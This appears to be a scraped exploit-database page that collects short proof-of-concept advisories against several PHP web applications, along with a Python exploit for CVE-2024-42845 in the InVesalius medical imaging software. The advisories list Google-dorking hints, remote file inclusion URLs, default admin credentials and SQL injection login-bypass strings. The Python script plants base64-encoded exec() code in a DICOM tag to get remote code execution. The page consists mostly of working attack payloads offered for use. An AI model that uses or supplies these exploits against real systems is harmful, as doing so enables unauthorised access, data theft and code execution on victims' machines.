Latest exploits :: CodePwn

<pre><code>==================================================================================================================================== | # Title : miniProxy 1.0.0 File inclusion Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : https://github.com/joshdick/miniProxy | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] use payload : /miniProxy_orig.php?commit=%ef%80%82&miniProxyFormAction=http://testasp.vulnweb.com/t/fit.txt%3F.org/privacy/tos&previous_text=&search_text= [+] https://www/127.0.0.1/miniProxy/miniProxy_orig.php?commit=%ef%80%82&miniProxyFormAction=http://testasp.vulnweb.com/t/fit.txt%3F.org/privacy/tos&previous_text=&search_text= Greetings to :================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R | ================================================================ </code></pre>

<pre><code>==================================================================================================================================== | # Title : Medicine Tracker System v1.0 Insecure Settings Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) | | # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-mts_0.zip | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Insecure Settings : appears to leave a default administrative account in place post installation. [+] use payload : user = admin & pass = admin123 [+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/ Greetings to :================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R | ================================================================ </code></pre>

<pre><code>==================================================================================================================================== | # Title : Medical Hub Directory Site v1.0 Insecure Settings Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) | | # Vendor : https://www.sourcecodester.com/php/15252/simple-medical-hub-directory-site-phpoop-source-code.html | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Insecure Settings : appears to leave a default administrative account in place post installation. [+] use payload : user = admin & pass = admin123 [+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/ Greetings to :================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R | ================================================================ </code></pre>

<pre><code>============================================================================================================================================= | # Title : Medical Center Portal 1.0 Auth By Pass Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/medic.zip | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use payload : USer&pass = ' or 0=0 ## [+] http://127.0.0.1/medic/pages/index.php Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>============================================================================================================================================= | # Title : Marc@TMS cms v1.0 SQL injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : http://www.web.cpzgroup.com/ | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] use payload : Prodotto.php?id=1202 [+] https://www/127.0.0.1/demo/storeitalyit/modules_cms/Prodotto.php?id=1202 <=== inject here [+] --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1202 AND 5978=5978 --- Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>============================================================================================================================================= | # Title : LRMS v1.0 Insecure Settings Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) | | # Vendor : https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] Insecure Settings : appears to leave a default administrative account in place post installation. [+] use payload : user = admin & pass = admin123 [+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/ Greetings to :================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R | ================================================================ </code></pre>

<pre><code>============================================================================================================================================= | # Title : Login System Project 1.0 Auth By Pass Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) | | # Vendor : https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/ | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] use payload : user = ' or 0=0 ## & pass = 'or''=' [+] http://127.0.0.1/loginsystem/admin/dashboard.php Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>============================================================================================================================================= | # Title : Loan Management System 1.0 File inclusion Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/loan-management-system.zip | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] USe Payload : /loan/index.php?page=http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg [+] http://127.0.0.1//loan/index.php?page=http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code># Exploit Title: Invesalius 3.1 - Remote Code Execution (RCE) # Discovered By: Riccardo Degli Esposti (partywave), Alessio Romano (sfoffo) # Exploit Author: Riccardo Degli Esposti (partywave), Alessio Romano (sfoffo) # Vendor Homepage: https://invesalius.github.io/ # Software Link: https://github.com/invesalius/invesalius3/tree/master/invesalius # Version: 3.1.99991 to 3.1.99998 # Tested on: Windows # CVE-ID: CVE-2024-42845 # External references: https://www.partywave.site/show/research/Tic%20TAC%20-%20Beware%20of%20your%20scan, https://notes.sfoffo.com/contributions/2024-contributions/cve-2024-42845 ### # exploit to create the malicious DICOM file ### import pydicom import base64 import argparse pydicom.config.settings.reading_validation_mode = pydicom.config.IGNORE def encode_payload(plain_payload): data = open(plain_payload, 'rb').read() return f"exec(__import__('base64').b64decode({base64.b64encode(data)})" def prepare_dicom_payload(dicom_file_path, sign, payload): try: dicom_data = pydicom.dcmread(dicom_file_path) if sign: dicom_data.Manufacturer = "Malicious DICOM file creator" dicom_data.InstitutionName = "Malicious DICOM file institution" values = dicom_data[0x0020, 0x0032].value mal = [str(i) for i in values] mal.append(encode_payload(payload)) except pydicom.errors.InvalidDicomError: print("The file is not a valid DICOM file.") except Exception as e: print(f"An error occurred: {e}") return mal def modify_dicom_field(dicom_file_path, malicious_tag, outfile): try: dicom_dataset = pydicom.dcmread(dicom_file_path) elem = pydicom.dataelem.DataElement(0x00200032, 'CS', malicious_tag) dicom_dataset[0x00200032] = elem print(dicom_dataset) dicom_dataset.save_as(outfile) except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='Read a DICOM file.') parser.add_argument('--dicom', required=True, help='Path to the input DICOM file') parser.add_argument('--outfile', required=True, help='Path to the output DICOM file') parser.add_argument('--payload', required=False, default=b"print('Test')", help='File that contains the malicious plain python3 code') parser.add_argument('--signature', required=False, default=True) args = parser.parse_args() dicom_infile_path = args.dicom dicom_outfile_path = args.outfile tmp_tag = prepare_dicom_payload(dicom_infile_path, sign=args.signature, payload=args.payload) if tmp_tag: malicious_tag = '\\'.join(tmp_tag) modify_dicom_field(dicom_infile_path, malicious_tag, dicom_outfile_path) exit(0) else: exit(1) </code></pre>